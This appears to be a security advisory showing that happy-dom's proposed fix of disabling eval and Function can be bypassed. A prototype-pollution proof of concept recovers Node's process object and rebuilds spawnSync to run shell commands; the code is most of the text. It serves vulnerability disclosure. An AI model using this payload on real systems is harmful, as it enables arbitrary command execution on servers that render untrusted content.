Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.
Details
The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).
PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().
import { Browser } from "happy-dom";
const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});
page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";}
this.constructor.constructor.__proto__.__proto__.toString = f;
this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
// Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
</script>
<body>Hello world!</body></html>`;
await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));